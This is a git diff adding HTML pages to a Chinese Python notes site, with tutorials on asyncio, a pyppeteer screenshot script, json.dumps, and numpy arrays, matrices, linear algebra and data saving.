asyncio.run(main())
+

上面代码中,asyncio.run() 在事件循环上监听 async 函数main的执行。等到 main 执行完了,事件循环才会终止。


async 函数的示例

下面是 async 函数的例子,新建一个脚本async.py,代码如下。

#!/usr/bin/env python3
+# async.py
+
+import asyncio
+
+async def count():
+    print("One")
+    await asyncio.sleep(1)
+    print("Two")
+
+async def main():
+    await asyncio.gather(count(), count(), count())
+
+asyncio.run(main())
+

上面脚本中,在 async 函数main的里面,asyncio.gather() 方法将多个异步任务(三个 count())包装成一个新的异步任务,必须等到内部的多个异步任务都执行结束,这个新的异步任务才会结束。

脚本的运行结果如下。

$ python3 async.py
+One
+One
+One
+Two
+Two
+Two
+

上面运行结果的原因是,三个 count() 依次执行,打印完 One,就休眠1秒钟,把执行权交给下一个 count(),所以先连续打印出三个 One。等到1秒钟休眠结束,执行权重新交回第一个 count(),开始执行 await 命令下一行的语句,所以会接着打印出三个Two。脚本总的运行时间是1秒。

作为对比,下面是这个例子的同步版本 sync.py

#!/usr/bin/env python3
+# sync.py
+
+import time
+
+def count():
+    print("One")
+    time.sleep(1)
+    print("Two")
+
+def main():
+    for _ in range(3):
+        count()
+
+main()
+

上面脚本的运行结果如下。

$ python3 sync.py 
+One
+Two
+One
+Two
+One
+Two
+

上面运行结果的原因是,三个 count() 都是同步执行,必须等到前一个执行完,才能执行后一个。脚本总的运行时间是3秒。


实例:pyppeteer 模块

最后是一个异步编程的真实例子:操作无头浏览器。异步编程对代码的简化,在这个例子体现得淋漓尽致。

我们需要用到 pyppeteer 模块open in new window,它是无头浏览器 Puppeteer 的 Python 移植,API 跟 JavaScript 版本基本一致。下面是安装命令。

$ python3 -m pip install pyppeteer
+

然后,写一个网页截图脚本screenshot.py

#!/usr/bin/env python3
+# screenshot.py
+
+import asyncio
+from pyppeteer import launch
+
+async def main():
+    browser = await launch()
+    page = await browser.newPage()
+    await page.goto('http://example.com')
+    await page.screenshot({'path': 'example.png'})
+    await browser.close()
+
+asyncio.run(main())
+

上面代码中,启动浏览器(launch)、打开新 Tab(newPage())、访问网址(page.goto())、截图(page.screenshot())、关闭浏览器(browser.close()),这一系列操作都是异步任务,使用 await 命令写起来非常自然简单。

执行这个脚本,当前目录下就会生成截图文件 example.png

$ python3 screenshot.py
+

果脚本执行时报错 No usable sandbox!,可以参考这里open in new window。另外,第一次执行这个脚本,会下载安装 Puppeteer,可能需要等待较长时间,但是此后的执行就会很快。

Pyppeteer 的官网open in new window还有其他实例,比如向网页注入 JavaScript 代码,大家可以自己试玩。

+ + + diff --git a/Language/Python/libs/index.html b/Language/Python/libs/index.html new file mode 100644 index 0000000000..a660e58875 --- /dev/null +++ b/Language/Python/libs/index.html @@ -0,0 +1,40 @@ + + + + + + + + Libs | DailyNotes + + + + + + +
跳至主要內容

Libs

小于 1 分钟

+ + + diff --git a/Language/Python/libs/json/index.html b/Language/Python/libs/json/index.html new file mode 100644 index 0000000000..e5d4fb1bee --- /dev/null +++ b/Language/Python/libs/json/index.html @@ -0,0 +1,40 @@ + + + + + + + + Json | DailyNotes + + + + + + +
跳至主要內容

Json

小于 1 分钟

目录

目录

+ + + diff --git a/Language/Python/libs/json/json.html b/Language/Python/libs/json/json.html new file mode 100644 index 0000000000..60fff937ce --- /dev/null +++ b/Language/Python/libs/json/json.html @@ -0,0 +1,56 @@ + + + + + + + + 目录 | DailyNotes + + + + + + +
跳至主要內容

目录

小于 1 分钟

目录


json

方法作用
json.dumps()将python对象编码成Json字符串
json.loads()将Json字符串解码成python对象
json.dump()将python中的对象转化成json储存到文件中
json.load()将文件中的json的格式转化成python对象提取出来

dumps

  • json.dumps将一个Python数据结构转换为JSON

    json.dumps( obj, 
    +            skipkeys=False, ensure_ascii=True, 
    +            check_circular=True, allow_nan=True, 
    +            cls=None, 
    +            indent=None, 
    +            separators=None, 
    +            encoding="utf-8", default=None, 
    +            sort_keys=False, 
    +            **kw)
    +
    • obj : 待转化成json的对象。
    • sort_keys =True : 是告诉编码器按照字典排序(a到z)输出。如果是字典类型的python对象,就把关键字按照字典排序。
    • indent : 参数根据数据格式缩进显示,读起来更加清晰。
    • separators : 是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了。
    import json
    +data = {
    +    'name' : 'myname',
    +    'age' : 100,
    +}
    +json_str = json.dumps(data)
    +print(json_str)
    +
    • 运行结果 : {"name": "myname", "age": 100}

+ + + diff --git a/Language/Python/libs/numpy/index.html b/Language/Python/libs/numpy/index.html new file mode 100644 index 0000000000..3a801ac050 --- /dev/null +++ b/Language/Python/libs/numpy/index.html @@ -0,0 +1,40 @@ + + + + + + + + Numpy | DailyNotes + + + + + + +
跳至主要內容

Numpy

小于 1 分钟

目录

目录

+ + + diff --git a/Language/Python/libs/numpy/numpy.html b/Language/Python/libs/numpy/numpy.html new file mode 100644 index 0000000000..323de73591 --- /dev/null +++ b/Language/Python/libs/numpy/numpy.html @@ -0,0 +1,497 @@ + + + + + + + + 目录 | DailyNotes + + + + + + +
跳至主要內容

目录

大约 18 分钟

目录


numpy

  • Numpy是Python第三方库中最常用的科学计算库,
    • 所谓科学计算往往是指类似Matlab那样的矩阵运算能力。
      • 这其中包括
        • 多维数组对象、
        • 线性代数计算,
        • 以及一个高性能的C/C++语言内部实现。
    • 而 Numpy完全拥有上面的所有特性,而且还有很多方便的快捷函数,是做数据科学必不可少的工具。
  • 线性代数一个最明显的优势就是用矩阵乘法代替循环可以极大地提高运算速度。

numpy基础

  • 在Numpy中,最主要的数据结构就是ndarray,
    • 这个数据结构不仅可以处理一维数组,还可以处理多维数组。
    • 比如下面的数组就是一个二维数组:
       [[0  1  2  3   4] 
      +  [5  6  7  8   9] 
      +  [10 11 12 13 14]]
      +
  • 通常我们称数组的维度为“秩(rank)”,
    • 可以通过下面的代码创建并查看一个数组的秩:

      import numpy as np 
      +a = np.array([(1, 2), (3.4, 5)]) 
      +print(a) 
      +print(a.ndim)
      +
      +# 运行结果
      +[[1.  2. ]
      +[3.4 5. ]]
      +2
      +

      List 不支持科学计算, 用 List 数据生成 Numpy.array 数据就可以支持科学计算了

  • 习惯上我们会将numpy重命名为np并进行使用。
    • 创建二维数组就使用Python中“列表的列表”这种结构,
    • 如果创建三维数组就是使用“列表中的列表中的列表”的结构。
    • 有时为了方便,我们也会使 用一些手段快速创建数组,可参考下面的代码:
      import numpy as np
      +
      +a = np.arange(15).reshape(3, 5)
      +b = np.arange(1, 30, 5)
      +c = np.arange(0, 1, 0.2)
      +d = np.linspace(0, np.e * 10, 5)
      +e = np.random.random((3, 2))
      +print('a = ', a)
      +print('b = ', b)
      +print('c = ', c)
      +print('d = ', d)
      +print('e = ', e)
      +    
      +# 运行结果
      +a =  [[ 0  1  2  3  4]
      +[ 5  6  7  8  9]
      +[10 11 12 13 14]]
      +b =  [ 1  6 11 16 21 26]
      +c =  [0.  0.2 0.4 0.6 0.8]
      +d =  [ 0.          6.79570457 13.59140914 20.38711371 27.18281828]
      +e =  [[0.89648206 0.56055272]
      +[0.65490962 0.13706445]
      +[0.54199453 0.8091704 ]]
      +
      • 使用np.arange()的方式与Python的range()类似,
        • 会生成一个ndarray类型的数组,
          • 只不过ndarray类型的reshape()方法会将原始的一维数组改变为一个二维数组,
            • 比如上面的例子中就将其改变为 3×5的二维数组了。
        • 与Python的range()函数稍有不同的是:
          • np.arange()支持小数的步长,
            • 比如上例中的np.arange(0,1,0.2)就生成了小数步长的数组,而使用Python的range时则会报错。
      • Numpy还提供 了一个强大的函数np.linspace()
        • 这个函数的功能类似arange(),但是第三个参数不是步长,而是数量。
        • 这个函数可以按照参数中需要生成元素的数量自动选择步长,
          • 上例中的d就是一个例子。
        • 另外 Numpy中也提供了与math模块中一样的两个常量,
          • 即np.e和np.pi。
            • np.e代表自然底数,
            • np.pi是圆周率。
      • 最后np.random.random()函数提供了直接生成随机元素的多维数组的方法,

np.linspace

numpy.core.function_base 
+@array_function_dispatch(_linspace_dispatcher) 
+def linspace(start: Union[ndarray, Iterable, int, float],
+             stop: Union[ndarray, Iterable, int, float],
+             num: Optional[int] = 50,
+             endpoint: Optional[bool] = True,
+             retstep: Optional[bool] = False,
+             dtype: Optional[object] = None,
+             axis: Optional[int] = 0) -> Any
+
  • Return evenly spaced numbers over a specified interval.
    • evenly(均匀地;平均地)
    • spaced(隔开的)
    • specified(明确规定;具体说明)
    • interval(间隔)
  • Returns num evenly spaced samples, calculated over the interval [start, stop].
  • The endpoint of the interval can optionally be excluded.
    • endpoint(端点,终点)
    • excluded(排除;拒绝;把…除外;赶出)

See Also

  • arange
    • Similar to linspace, but uses a step size (instead of the number of samples).
  • geomspace
    • Similar to linspace, but with numbers spaced evenly on a log scale (a geometric progression).
      • scale(秤;比例尺;范围;刻度)
      • geometric(几何(学)的;(似)几何图形的)
  • logspace
    • Similar to geomspace, but with the end points specified as logarithms.
      • specified(明确规定;具体说明;详述;详列)
      • logarithms(【数学】对数)

Examples

>>> np.linspace(2.0, 3.0, num=5)
+array([2.  , 2.25, 2.5 , 2.75, 3.  ]) # 5个数落在[2,3],均分4格,每格0.25
+>>> np.linspace(2.0, 3.0, num=5, endpoint=False) # 6个数均分[2, 3],5格*0.2/格,去掉3
+array([2. ,  2.2,  2.4,  2.6,  2.8])
+>>> np.linspace(2.0, 3.0, num=5, retstep=True)
+(array([2.  ,  2.25,  2.5 ,  2.75,  3.  ]), 0.25)
+
  • Graphical illustration(图解):
>>> import matplotlib.pyplot as plt
+>>> N = 8
+>>> y = np.zeros(N)
+>>> x1 = np.linspace(0, 10, N, endpoint=True)
+>>> x2 = np.linspace(0, 10, N, endpoint=False)
+>>> plt.plot(x1, y, 'o')
+[<matplotlib.lines.Line2D object at 0x...>]
+>>> plt.plot(x2, y + 0.5, 'o')
+[<matplotlib.lines.Line2D object at 0x...>]
+>>> plt.ylim([-0.5, 1])
+(-0.5, 1)
+>>> plt.show()
+
+# 完整代码:
+import numpy as np
+import matplotlib.pyplot as plt
+
+N = 8
+y = np.zeros(N)
+x1 = np.linspace(0, 10, N, endpoint=True)
+x2 = np.linspace(0, 10, N, endpoint=False)
+plt.plot(x1, y, 'o')
+plt.plot(x2, y + 0.5, 'o')
+plt.ylim([-0.5, 1])
+plt.show()
+
+
  • 运行结果

参数

  • start
    • The starting value of the sequence.
  • stop
    • The end value of the sequence, unless endpoint is set to False.
      • In that case, the sequence consists of all but the last of num + 1 evenly spaced samples, so that stop is excluded.
      • Note that the step size changes when endpoint is False.
  • num
    • Number of samples to generate.
    • Default is 50. Must be non-negative.
      • samples(样品;标本;实例)
      • non-negative(非负数)
  • endpoint
    • If True, stop is the last sample.
      • Otherwise, it is not included.
    • Default is True.
  • retstep
    • If True, return (samples, step), where step is the spacing between samples.
  • dtype
    • The type of the output array. If dtype is not given, infer the data type from the other input arguments. .. versionadded:: 1.9.0
      • infer(推断;推论;暗示;推理)
  • axis
    • The axis in the result to store the samples.
    • Relevant only if start or stop are array-like.
    • By default (0), the samples will be along a new axis inserted at the beginning.
    • Use -1 to get an axis at the end. .. versionadded:: 1.16.0
      • relevant(紧密相关的;切题的;有价值的;有意义的)
      • axis(坐标轴;轴(旋转物体假想的中心线);对称中心线(将物体平分为二))

  • 返回:
    • There are num equally spaced samples in the closed interval [start, stop] or the half-open interval [start, stop) (depending on whether endpoint is True or False).

查看数组各项属性

  • 在了解了如何使用Numpy创建数组之后,再来看看如何查看数组的各项属性,参考下面的代码
    import numpy as np
    +
    +a = np.arange(15).reshape(3, 5)
    +print('a ', '=', a)
    +print('a.ndim ', '=', a.ndim)
    +print('a.shape ', '=', a.shape)
    +print('a.dtype.name ', '=', a.dtype.name)
    +print('a.itemsize ', '=', a.itemsize)
    +print('a.size ', '=', a.size)
    +print('type(a) ', '=', type(a))
    +
    +# 运行结果
    +a  = [[ 0  1  2  3  4]
    +      [ 5  6  7  8  9]
    +      [10 11 12 13 14]]
    +a.ndim  = 2
    +a.shape  = (3, 5)
    +a.dtype.name  = int32
    +a.itemsize  = 4
    +a.size  = 15
    +type(a)  = <class 'numpy.ndarray'>
    +
    • ndim()函数会返回数组的秩数,
    • shape()函数会返回数组的形状。
    • dtype.name属性是数组中数据的类型,
    • itemsize是数据类型占用的内存空间,
    • size则是数组中总共有多少个元素。
    • numpy的对象在打印时会自动格式化,二维数组则会以矩阵的方式打印出来。
      • 不仅如此,当数组非常大以至于不能够完整地显示出来的时候,numpy还会缩略打印结果,可参考 如下代码:
        import numpy as np
        +
        +print(np.arange(10000).reshape(100, 100))
        +
        +# 运行结果
        +[[   0    1    2 ...   97   98   99]
        +[ 100  101  102 ...  197  198  199]
        +[ 200  201  202 ...  297  298  299]
        +...
        +[9700 9701 9702 ... 9797 9798 9799]
        +[9800 9801 9802 ... 9897 9898 9899]
        +[9900 9901 9902 ... 9997 9998 9999]]
        +

创建特定数组

  • Numpy还可以快速地创建一些特定的数组,参考下面的代码:
    import numpy as np
    +
    +a = np.zeros((3, 4))
    +b = np.ones((2, 3, 4), dtype=np.int64)
    +c = np.empty((4, 5))
    +print('zeros\n', a)
    +print('ones \n', b)
    +print('empty\n', c)
    +
    +# 运行结果
    +zeros
    +[[0. 0. 0. 0.]
    +  [0. 0. 0. 0.]
    +  [0. 0. 0. 0.]]
    +ones 
    +[[[1 1 1 1]
    +  [1 1 1 1]
    +  [1 1 1 1]]
    +
    +  [[1 1 1 1]
    +  [1 1 1 1]
    +  [1 1 1 1]]]
    +empty
    +[[3.80261646e-311 4.35210540e-306 1.78716863e-306 1.78022885e-306
    +  1.16691863e-301]
    +[4.20602082e-297 3.25847851e-292 7.06199777e-292 1.21172656e-305
    +  1.21200470e-305]
    +[3.82460765e-297 1.64290200e-287 1.64325271e-287 3.38208191e-292
    +  7.93893540e-301]
    +[1.64290201e-287 1.64357338e-287 5.16064744e-297 3.48020045e-308
    +  2.50643828e-154]]
    +
    • 使用zeros()函数可以创建一个对应维度的全零矩阵[1],
    • ones()则是创建全1矩阵,
    • empty()函数会自动创建一个由随机的小值组成的矩阵

矩阵(matrix)

  • NumPy 中包含了一个矩阵库 numpy.matlib
    • 该模块中的函数返回的是一个矩阵,而不是 ndarray 对象。
      • 矩阵是ndarray的子类,即矩阵是特殊的数组
        • 矩阵的位数是固定的,永远是二位,通常都是数值
  • 一个 m×nm × n 的矩阵是一个由 mm 行(row) nn 列(column)元素排列成的矩形阵列。

转置矩阵

  • NumPy 中除了可以使用 numpy.transpose 函数来对换数组的维度,还可以使用 T 属性。。
  • 例如有个 m 行 n 列的矩阵,使用 t() 函数就能转换为 n 行 m 列的矩阵。
import numpy as np
+
+a = np.arange(12).reshape(3, 4)
+print('原数组:\n{0}\n\n转置数组:\n{1}'.format(a, a.T))
+
+# 运行结果
+原数组:
+[[ 0  1  2  3]
+ [ 4  5  6  7]
+ [ 8  9 10 11]]
+
+转置数组:
+[[ 0  4  8]
+ [ 1  5  9]
+ [ 2  6 10]
+ [ 3  7 11]]
+
+

生成矩阵

  • Numpy生成矩阵常用方法
    • matrix()函数
    • mat()函数
    • bmat()函数

matrix()

import numpy as np
+
+a = np.matrix([(1, 2, 4), (2, 2, 4), (3, 4, 5)])
+b = np.matrix([[4, 5], [7, 8]])
+c = np.matrix(range(6))
+d = np.matrix('1, 2, 3; 4, 5, 6; 7, 8, 9')
+print(a, b, c, d, sep='\n\n')
+
+# 运行结果
+[[1 2 4]
+ [2 2 4]
+ [3 4 5]]
+
+[[4 5]
+ [7 8]]
+
+[[0 1 2 3 4 5]]
+
+[[1 2 3]
+ [4 5 6]
+ [7 8 9]]
+
+

mat()

  • 就是asmatrix()
import numpy as np
+
+a = np.mat([(1, 2, 4), (2, 2, 4), (3, 4, 5)])
+b = np.mat([[4, 5], [7, 8]])
+c = np.mat(range(6))
+d = np.mat('1, 2, 3; 4, 5, 6; 7, 8, 9')
+print(a, b, c, d, sep='\n\n')
+
+# 运行结果
+[[1 2 4]
+ [2 2 4]
+ [3 4 5]]
+
+[[4 5]
+ [7 8]]
+
+[[0 1 2 3 4 5]]
+
+[[1 2 3]
+ [4 5 6]
+ [7 8 9]]
+
+进程已结束,退出代码0
+
  • Unlike matrix, asmatrix does not make a copy if the input is already a matrix or an ndarray.
    • Equivalent to matrix(data, copy=False).

bmat()

  • 组合矩阵(默认横向组合)
import numpy as np
+
+mat1 = np.eye(3)    # 生成对角为1的矩阵,可生成单位矩阵
+mat2 = np.diag([3]*3)   # 生成对角为3的方阵,可生成单位矩阵
+mat3 = np.identity(6)   # 生成单位矩阵
+print(mat1, mat2, mat3, sep='\n')
+mat = np.bmat('mat1, mat2; mat3')
+print('mat:', mat, sep='\n')
+
+# 运行结果
+[[1. 0. 0.]
+ [0. 1. 0.]
+ [0. 0. 1.]]
+[[3 0 0]
+ [0 3 0]
+ [0 0 3]]
+[[1. 0. 0. 0. 0. 0.]
+ [0. 1. 0. 0. 0. 0.]
+ [0. 0. 1. 0. 0. 0.]
+ [0. 0. 0. 1. 0. 0.]
+ [0. 0. 0. 0. 1. 0.]
+ [0. 0. 0. 0. 0. 1.]]
+mat:
+[[1. 0. 0. 3. 0. 0.]
+ [0. 1. 0. 0. 3. 0.]
+ [0. 0. 1. 0. 0. 3.]
+ [1. 0. 0. 0. 0. 0.]
+ [0. 1. 0. 0. 0. 0.]
+ [0. 0. 1. 0. 0. 0.]
+ [0. 0. 0. 1. 0. 0.]
+ [0. 0. 0. 0. 1. 0.]
+ [0. 0. 0. 0. 0. 1.]]
+
+进程已结束,退出代码0
+

矩阵特有属性

矩阵属性说明
ATA.T 返回自身的转置
AHA.H 返回自身的共轭转置
AIA.I 返回自身的逆矩阵
AAA.A 返回自身数据的2维数组的一个视图
import numpy as np
+
+a = np.mat([(1, 2, 4), (2, 2, 4), (3, 4, 5)])
+print("a.A 自身数据2维数组的一个视图:\n{0}".format(a.A))
+print("a.T 返回自身的转置:\n{0}".format(a.T))
+print("a.I 返回自身的逆矩阵:\n{0}".format(a.I))
+print("a.H 返回自身的共轭转置".format(a.H))
+
+# 运行结果
+a.A 自身数据2维数组的一个视图:
+[[1 2 4]
+ [2 2 4]
+ [3 4 5]]
+a.T 返回自身的转置:
+[[1 2 3]
+ [2 2 4]
+ [4 4 5]]
+a.I 返回自身的逆矩阵:
+[[-1.          1.          0.        ]
+ [ 0.33333333 -1.16666667  0.66666667]
+ [ 0.33333333  0.33333333 -0.33333333]]
+a.H 返回自身的共轭转置
+
+

矩阵的运算

  • 在numpy中对矩阵的下列运算可以直接运算
    • 数乘

      • 矩阵与常数的相乘
        • matr1*3
    • 矩阵相加减

      • matr1±matr2matr1 \pm matr2
        • 必须都是 n×mn × m的矩阵(相同形状的矩阵)
    • 矩阵相乘

      • matr1×matr2matr1 × matr2
        • 第1个矩阵的列数与第二个矩阵的行数相同
      import numpy as np
      +
      +A = np.mat([(1, 2, -1), (3, 1, 0), (-1, 0, -2)])
      +C = np.mat([[1, 2], [3, 4], [5, 6]])
      +D = np.mat([[11, 22, 33], [44, 55, 66], [77, 88, 99]])
      +print("A×3:\n{0}".format(A*3))
      +print("A+D:\n{0}\nA*C:\n{1}\n".format(A+D, A*C))
      +
      +# 运行结果
      +A×3:
      +[[ 3  6 -3]
      +[ 9  3  0]
      +[-3  0 -6]]
      +A+D:
      +[[12 24 32]
      +[47 56 66]
      +[76 88 97]]
      +A*C:
      +[[  2   4]
      +[  6  10]
      +[-11 -14]]
      +
      +

矩阵相乘实例分析

三种乘法open in new window


  • 某工厂生产三种产品,费用支出见表1,生产量见表2

    表1备用链接

    矩阵相乘实例分析表2备用链接

  • 计算如下数据:

    • 每一季度中每一类成本的数量
      • M=M =

        [0.100.300.150.300.400.250.100.200.15] \left[ \begin{matrix} 0.10 & 0.30 & 0.15\\ 0.30 & 0.40 & 0.25 \\ 0.10 & 0.20 & 0.15 \end{matrix} \right]

        N=N =

        [400045004500400020002600240022005800620060006000] \left[ \begin{matrix} 4000 & 4500 & 4500 & 4000 \\ 2000 & 2600 & 2400 & 2200 \\ 5800 & 6200 & 6000 & 6000 \end{matrix} \right]

      • 则每一季度中每一类成本的数量为:
        • MNMN
    • 每一季度三类成本的总数量
      • MN.sum(axis=0)MN.sum(axis = 0)
    • 四个季度每类成本的总数量
      • MN.sum(axis=1MN.sum(axis = 1
  • 代码如下:

import numpy as np
+
+M = np.mat([(0.10, 0.30, 0.15), (0.30, 0.40, 0.25), (0.10, 0.20, 0.15)])
+N = np.mat([[4000, 4500, 4500, 4000], [2000, 2600, 2400, 2200], [5800, 6200, 6000, 6000]])
+MN = M*N
+print("每一季度中每一类成本的数量为:\n{0}".format(MN))
+print("每一季度三类成本的总数量为:\n{0}".format(MN.sum(axis=0)))
+print("四个季度每类成本的总数量为:\n{0}".format(MN.sum(axis=1)))
+
+# 运行结果:
+每一季度中每一类成本的数量为:
+[[1870. 2160. 2070. 1960.]
+ [3450. 3940. 3810. 3580.]
+ [1670. 1900. 1830. 1740.]]
+每一季度三类成本的总数量为:
+[[6990. 8000. 7710. 7280.]]
+四个季度每类成本的总数量为:
+[[ 8060.]
+ [14780.]
+ [ 7140.]]
+
+

矩阵乘法及其应用

矩阵乘法示意备用链接

  • 求解线性方程组

    线性方程组备用链接

    • 可以写成矩阵相乘的形式:
      • ax=bax = b
      • 解方程求x
        • x=ba1x = ba^{-1}

三种乘法运算的区别open in new window


linalg线代模块

import numpy as np
+
+a = np.mat([[3, 1], [1, 2]])        # 系数矩阵
+b = np.mat([[9, 8]])                # 常数矩阵
+x = np.linalg.solve(a, b.T)         # 求解ax = b.T
+y = np.linalg.det(a)                # 计算数组a的行列式。
+a_I = np.linalg.inv(a)              # 求a的逆矩阵,等价于a.I
+a_eigValue = np.linalg.eigvals(a)   # 计算通用矩阵a的特征值。
+print("ax = b.T的解为:\n{0}\na的行列式为:\n{1}\n"
+      "a的特征值为:\n{2}\n".format(x, y, a_eigValue))
+print("方阵a的特征值和右特征向量为:\n{0}"
+      .format(np.linalg.eig(a)))    # 计算方阵a的特征值和右特征向量。
+print("ax为:\n{0}".format(a*x))
+print("a与其逆矩阵的乘积为:\n{0}".format(a*a_I))
+
+# 运行结果
+ax = b.T的解为:
+[[2.]
+ [3.]]
+a的行列式为:
+5.000000000000001
+a的特征值为:
+[3.61803399 1.38196601]
+
+方阵a的特征值和右特征向量为:
+(array([3.61803399, 1.38196601]), matrix([[ 0.85065081, -0.52573111],
+        [ 0.52573111,  0.85065081]]))
+ax为:
+[[9.]
+ [8.]]
+a与其逆矩阵的乘积为:
+[[1. 0.]
+ [0. 1.]]
+
+

实例分析

某地区居民连续几年的年底储蓄总金额如表所示:

  • (1)计算y关于t的回归方程y^=kt+b\hat{y} = kt + b的斜率与截距
  • (2)用所求的回归方程预测该地区第6年的年底储蓄总金额 | 年份 | 2015 | 2016 | 2017 | 2018 | 2019 | 2020 | | - | - | - | - | - | - | - | | 第t年 | 1 | 2 | 3 | 4 | 5 | 6 | | 储蓄总金额 | 6 | 7 | 7.8 | 8 | 9 | 9.8 |

一元线性回归分析是最基本的回归模型


概念

  • 一元线性回归是分析只有一个自变量(自变量x和因变量y)线性相关关系的方法。
    • 一个经济指标的数值往往受许多因素影响,若其中只有一个因素是主要的,起决定性作用,则可用一元线性回归进行预测分析。

分析

y^=ax+b+ϵ\hat{y} = ax + b + \epsilon

  • y^\hat{y}
    • 预测对象
  • x
    • 自变:自变量相响因素
  • a,b
    • 待估计:待估计为回归系数
  • ϵ\epsilon
    • 估计:估计误差,残差

  • 估计a,b参数,常用最小二乘法:
    • i=1n(yiy^i)2\sum_{i = 1}^{n} (y_i - \hat{y}_i)^2

     


import numpy as np
+
+
+def create_a_linear_regressor(X, Y):
+    x_m = np.mat(X)
+    y_m = np.mat(Y)
+    top1 = float(x_m * y_m.T)
+    top2 = (X.sum() * Y.sum()) / (X.shape[0])
+    top = top1 - top2
+    bottom1 = np.multiply(X, X).sum()
+    bottom2 = ((X.sum()) * (X.sum())) / (X.shape[0])
+    bottom = bottom1 - bottom2
+    a = top / bottom
+    front = (Y.sum()) / (Y.shape[0])
+    back = (a * (X.sum())) / (X.shape[0])
+    b = front - back
+    return [a, b]
+
+
+X = np.array([1, 2, 3, 4, 5, 6])
+Y = np.array([6.0, 7.0, 7.8, 8.0, 9.0, 9.8])
+para = create_a_linear_regressor(X, Y)
+print("斜率为:{0}  截距为:{1}".format(para[0], para[1]))
+print("第6年年底储蓄总金额为:{0}".format(para[0]*7 + para[1]))
+
+# 运行结果
+斜率为:0.7200000000000013  截距为:5.413333333333329
+第6年年底储蓄总金额为:10.453333333333337
+

numpy进行数据统计分析时常用的方法

去重

  • 去掉重复的数据
  • 一维数组 unique() 去掉重复数据且返回已排序的结果(只对数组)
unique(b, return_index = True, return_counts = True)
+
  • return_index = True
    • 返回元素在数组中第一次出现的位置
  • 对二维数组去掉重复行
    • 可以增加一个参数:axis = 0

import numpy as np
+
+A = np.random.randint(10, 15, size=(1, 7))
+print("原数组:\n{0}".format(A))
+B, index = np.unique(A, return_index=True)
+print("去重\n{}\nindex\n{}".format(B, index))
+C = np.array([[1, 2], [3, 4], [1, 2], [3, 4], [3, 4]])
+c = np.unique(C, axis=0)  # 去掉重复的行
+print('去掉数组C中重复的行\n', c)
+
+# 运行结果
+原数组:
+[[12 12 11 13 13 13 10]]
+去重
+[10 11 12 13]
+index
+[6 2 0 3]
+去掉数组C中重复的行
+ [[1 2]
+ [3 4]]
+
+

  • numpy进行数据统计分析时常用的方法 重复数据,需要将数据重复若干次。常用tile()和repeat()
    • tile(arr,reps) 
      +
      • 参数reps指定重复的次数
    • repeat(a,repeats,axis=None) 
      +
      • a指重复的数组元素,
      • repeats重复次数,
      • axis指沿着哪个轴重复
    • 它们区别在于:
      • tile函数对数组进行重复,
      • repeat函数是对数组中的每个元素进行重复操作。
import numpy as np
+
+arr = np.arange(5)
+arr_tile = np.tile(arr, 2)    # 将数组重复2次
+print('原数组为:', arr)
+print('重复后的数组为:', arr_tile)
+np.random.seed(42)            # 设置随机种子
+arr1 = np.random.randint(0, 10, size=(3, 3))  # 生成数组
+print('原数组:\n', arr1)
+arr1_repeat = np.repeat(arr1, 2, axis=1)
+print('重复后数组为:', arr1_repeat)  # 按行进行元素重复,axis=1.按列进行元素重复
+
+# 运行结果
+原数组为: [0 1 2 3 4]
+重复后的数组为: [0 1 2 3 4 0 1 2 3 4]
+原数组:
+ [[6 3 7]
+ [4 6 9]
+ [2 6 7]]
+重复后数组为: [[6 6 3 3 7 7]
+ [4 4 6 6 9 9]
+ [2 2 6 6 7 7]]
+

numpy中的数据常用保存与读取方法

  • 二进制的文件和文件列表形式(文本文件和csv文件)
    • save()函数是以二进制的格式保存数据(保存格式是.npy)。
      • np.save(filename,arr) 
        +
    • load()函数是从二进制的文件中读取数据(读取npy)。
      • np.load(filename) 
        +
    • savez函数可以将多个数组保存到一个文件(.npz)中。
      • np.savez(filenme,arr1,arr2) 
        +
      • np.savez(filenme,arr1=arr1,arr2=arr2) 
        +
      • 存储时可以省略扩展名,但读取时不能省略扩展名。
    • savetxt函数是将数组写到文本文件(txt或cvs)中。
      • np.savetxt(filename, arr, fmt="%d", delimiter=" ") 
        +
    • loadtxt函数把文件加载到一个二维数组中。
      • np.loadtxt(filename,delimiter=",") 
        +
    • genfromtxt函数面向的是结构化数组和缺失数据。
      • np.genfromtxt(filename,delimiter = ",")
        +
import numpy as np
+import os
+
+file_path_savez = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/matrix'))
+file_path_savetxt = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/matrix.csv'))
+file_path_arr = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/matrix.npz'))
+
+A = np.array([1, 2, 3, 4, 5])   # A = [1 2 3 4 5]
+B = np.diag(A)                  # 利用A生成对角阵B,对角线上元素从左到右对应A中元素
+C = np.linspace(1, 50, 49, dtype=int)\
+    .reshape(7, 7)              # 生成[1,50]等间隔的49个数(去掉小数部分)并将其重构为7×7的数组
+C = np.mat(C)                   # 将数组C转换成矩阵C
+row = len(C)                    # row = 7; len(矩阵)返回矩阵的行数
+col = len(C[0, :])              # col = 1; C[0, :] = [[1 2 3 4 5 6 7]] 长度为1
+D = np.diagonal(C)              # D为C对角线上的元素,即为[ 1  9 17 25 33 41 50]
+D_diag = np.diag(D)             # D_diag是以D为对角元素生成的方阵
+E = np.diag(np.diag(C))         # np.diag(C)获取C对角线上的元素;
+E_M = np.mat(E)                 # 将E转换为矩阵E_M
+F = np.tril(C)                  # F为C的下三角(上三角置0)
+F_1 = np.tril(C, -1)            # 主对角线-1 上方元素置0,效果等效为:下三角&主对角线置0
+F1 = np.triu(C)                 # F1为C的上三角
+F1_1 = np.triu(C, 1)            # 主对角线+1 下方元素置0,效果等效为:上三角&主对角线置0
+np.savez(file_path_savez,
+         a=A, b=B, c=C)         # 将几个数组以未压缩的.npz格式保存到单个文件中。
+np.savetxt(file_path_savetxt,
+           E_M, '%d',
+           delimiter=',')       # 将数组保存到文本文件,每一个数据都用','分开
+arr = np.load(file_path_arr)    # 从.npy、.npz或pickle文件加载阵列或pickle对象。
+# 输出相应对象
+print("a:\n{0}\nb:\n{1}\nc:\n{2}\n".format(arr['a'], arr['b'], arr['c']))
+# 从文本文件加载数据。
+arr1 = np.loadtxt(file_path_savetxt, delimiter=',')
+print("E_M:\n{0}"
+      .format(arr1))            # 输出E_M
+
+
+ + + diff --git a/Language/Python/libs/turtle/index.html b/Language/Python/libs/turtle/index.html new file mode 100644 index 0000000000..c1d3d56a84 --- /dev/null +++ b/Language/Python/libs/turtle/index.html @@ -0,0 +1,40 @@ + + + + + + + + Turtle | DailyNotes + + + + + + +
跳至主要內容

Turtle

